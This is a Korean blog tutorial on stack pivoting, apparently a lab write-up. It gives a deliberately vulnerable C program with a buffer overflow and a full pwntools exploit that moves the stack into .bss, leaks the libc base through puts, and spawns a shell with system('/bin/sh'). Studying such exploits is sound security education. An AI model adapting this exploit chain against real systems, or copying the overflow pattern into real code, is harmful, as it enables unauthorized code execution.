System Hacking

Stack Pivoting (스택 피봇팅)

jir4vvit 2021. 5. 3. 12:01
참고 : JSec님 블로그

실습 환경 : ubuntu 18.04


개요

ROP를 하고 싶은데 BOF가 Return address까지 밖에 나지 않을 때 어떻게 해야 할까?

 

Stack pivoting

  • 여러 gadget을 이용해서 쓰기 가능한 공간Fake Stack을 구성해놓고 Chaining하는 기법
  • 특정 영역에 값을 쓸 수 있거나 값이 있는 경우 SFP를 이용하여 스택을 옮기고 해당 부분의 코드를 실행하는 기법

Stack pivoting을 하기 위한 전제 조건

  • 페이로드가 저장되어 있는 영역이 존재할 경우, RET까지만 overflow 발생
  • 페이로드가 저장되어 있는 영역이 없는 경우, 입력함수 + leave_ret을 넣을 수 있을 만큼 overflow 발생
  • 두 경우 다 gadget이 존재해야 함

이 글에서는 두번째 경우에 따른 예제를 다룬다.

일반적으로 stack pivoing을 사용하는 경우

  • RET까지만 overflow 발생 (overflow가 많이 나지 않음)
  • main으로 돌아갈 수 없는 경우 (seccomp 등)

 

Exploit Scenario

  1. Fake Stack으로 사용할 공간을 찾는다. (주로 bss 영역)
  2. SFP 부분에 (실행을 원하는 주소-8) 을 넣는다.
  3. 입력함수를 RTL로 호출해서 bss 영역에 값을 입력 받로록 한다. (페이로드 입력)
  4. 다음 실행할 명령의 주소에 leave_ret 가젯을 넣는다.

Exploit 예제

// [출처] 34. Stack pivoting|작성자 JSec
// gcc -o source source.c -fno-stack-protector -z now -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

int main(void)
{
	char buf[0x30];

	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);

	if (loop)
	{
		puts("bye");
		exit(-1);
	}
	loop = 1;

	read(0, buf, 0x70);

	return 0;
}

main을 한 번 실행하면, loop가 1로 정의되기 때문에, main으로 return할 수 없다. 이 때 피보팅을 이용해서 해결이 가능하다.

 

[*] '/home/jir4vvit/stack_pivoting/source'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

참고로 보호기법은 이렇고, 익스코드는 아래와 같다.

from pwn import *

p = process('./source')
e = ELF('./source')
libc = e.libc

leave_ret = 0x40071e
pop_rdi = 0x400783
pop_rsi_r15 = 0x400781

bss = e.bss()
read_plt = e.plt['read']

puts_plt = e.plt['puts']
puts_got = e.got['puts']

payload = ''
payload += 'A' * 0x30
payload += p64(bss + 0x300)         # SFP
payload += p64(pop_rdi) + p64(0)    # RET
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
# rdx = 0x70
payload += p64(read_plt)
payload += p64(leave_ret)

#pause()
p.send(payload)


payload = ''
payload += p64(bss+0x400)       
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)

leak = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak = ' + hex(leak))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

log.success('libc_base = ' + hex(libc_base))


payload = ''
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x40053e) # ret
payload += p64(system)

#pause()
p.send(payload)

p.interactive()

차근차근 살펴보자.

 

bss+0x300 이동 (SFP), read함수 호출

먼저 SFP에 bss + 0x300을 넣고, read를 호출해서 bss+0x300 영역에 값을 받도록 한다. 그리고 leave_ret을 실행한다.

payload = ''
payload += 'A' * 0x30				# dummy
payload += p64(bss + 0x300)         # SFP
payload += p64(pop_rdi) + p64(0)    # RET
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
# rdx = 0x70
payload += p64(read_plt)
payload += p64(leave_ret)

#pause()
p.send(payload)

leave_ret의 의미는 아래와 같다.

leave: mov esp, ebp + pop ebp

ret: pop eip + jmp eip

 

처음에 main 함수에서 leave 명령을 하게 되면 ebp 값은 우리가 설정한 값으로 바뀌게 된다.

bss+0x300 => 0x601320

그런데 RET에 leave_ret을 넣으면 mov esp, ebp 명령에 의해 esp는 우리가 설정한 값으로 바뀌게 된다. 그리고 pop eip+jmp eip 명령을 진행하며 우리가 설정한 영역의 명령이 실행된다.

 

참고로 pushpop 명령은 esp 기준으로 실행이 된다. 예를 들어 pop eip는 esp로부터 +8yte를 복사해 eip에 담는다. (esp가 내려간다.)

따라서 eip에는 RET에 담긴 스택 주소가 들어가게 된다.

 

단, pop ebp 루틴 때문에 우리가 설정한 영역의 -8 위치가 실행이 된다.

더보기

- 처음에 main 함수에서 leave명령을 하게 되면...
ebp를 esp로 mov하고(esp와 ebp가 같아지고,) 8byte를 ebp에 담고 esp는 +8byte (내려간다.)

- 그리고 RET에 lave_ret을 넣었으니.. read가 호출되고 leave_ret이 호출되는데..

ebp를 esp로 mov하고 8byte를 ebp에 담고 esp는 +8byte .. (내려간다.) 그리고 또 8byte를 eip에 담고 esp는 +8byte.. (내려간다.) 마지막으로 jmp eip

chain을 걸려면 ebp 값을 변경하는 것이 핵심이기 때문에 페이로드의 첫 부분에는 다음 실행할 영역의 주소를 넣어준다.

 

bss+0x400 이동, leak, read함수 실행

system 가젯이 없기 때문에, puts@got 주소를 leak하여 libc base를 구해준 다음 system 함수의 실제 주소를 구해준다. 그리고 read함수를 통해 다음 실행할 영역에 입력을 받고 다시 leave_ret을 진행한다.

 

첫 부분엔 다음 실행할 영역의 주소를 쓴다. (여기서는 bss+0x400)

payload = ''
payload += p64(bss+0x400)       # ebp
payload += p64(pop_rdi) + p64(puts_got)	# RET
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)

leak = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak = ' + hex(leak))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

log.success('libc_base = ' + hex(libc_base))

이 전 단계에서 read함수를 실행한 다음 실행하는 것이 leave_ret이었다.. 스택 최상단에 있는 값,,, 지금 보내는 페이로드의 제일 첫번째 값ebp 값으로 바뀐다.(leave)

그리고 그 다음에 있는 주소값을 eip에 넣고 그 주소로 jmp를 한다.(ret)

 

그래서 ebp가 bss+0x400으로 바뀌게 되는 것이다.

bss+0x400 = 0x601420

 

마지막에 leave_ret을 또 호출시켰으니, 그 다음 페이로드의 제일 앞에는 ebp가 와야할 것이다.

 

system('/bin/sh') 실행

 맨처음에 ebp를 넣어주고 RET에는 system함수를 잘 실행하면 된다.

payload = ''
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x40053e) # ret
payload += p64(system)

pause()
p.send(payload)

bss+300 / bss+400 같은 주소를 쓴 이유

system 함수와 같은 라이브러리 함수를 호출할 때, 영역을 많이 사용하기 때문이다. (영역 많이 안주면 터짐)

 

'System Hacking' 카테고리의 다른 글

integer overflow 2  (0) 2021.05.19
Sigreturn-oriented programming (SROP)  (0) 2021.05.10
RTC (Return to CSU) (수정)  (0) 2021.04.19
[HackingCamp 22] 퍼징의 이해 - 장대희님  (0) 2021.03.02
힙풍수 (Heap Feng Shui)  (2) 2021.03.02